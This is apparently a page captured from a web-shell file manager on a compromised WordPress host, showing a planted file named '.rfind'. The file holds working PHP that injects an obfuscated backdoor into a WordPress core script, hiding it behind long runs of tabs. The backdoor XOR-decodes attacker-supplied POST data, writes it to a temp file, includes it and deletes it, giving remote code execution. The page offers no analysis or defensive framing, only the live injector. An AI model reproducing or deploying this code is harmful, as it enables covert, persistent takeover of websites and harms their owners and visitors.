HEX
Server: Apache/2
System: Linux aws3 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User: hucscom (1018)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/hucscom/domains/huc99-s.com/public_html/.rfind
<?php  $path = '/home/hucscom/domains/huc99-s.com/private_html/wp-includes/assets/script-loader-react-refresh-runtime.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22%5Cx65%5Cx6Ceme%5Cx6Et%22%29%29%7B%20%24comp%20%3D%20hex2bin%28%24_POST%5B%22%5Cx65%5Cx6Ceme%5Cx6Et%22%5D%29%3B%20%24reference%20%3D%20%27%27%20%3Bfor%28%24r%3D0%3B%20%24r%3Cstrlen%28%24comp%29%3B%20%24r%2B%2B%29%7B%24reference%20.%3D%20chr%28ord%28%24comp%5B%24r%5D%29%20%5E%2098%29%3B%7D%20%24entity%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/var/tmp%22%5D%29%3B%20foreach%20%28%24entity%20as%20%24data_chunk%29%20%7B%20if%20%28%21%28%20%21is_dir%28%24data_chunk%29%20%7C%7C%20%21is_writable%28%24data_chunk%29%20%29%29%20%7B%20%24data%20%3D%20%22%24data_chunk%22%20.%20%22/.obj%22%3B%20%24success%20%3D%20file_put_contents%28%24data%2C%20%24reference%29%3B%20if%20%28%24success%29%20%7B%20include%20%24data%3B%20%40unlink%28%24data%29%3B%20die%28%29%3B%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');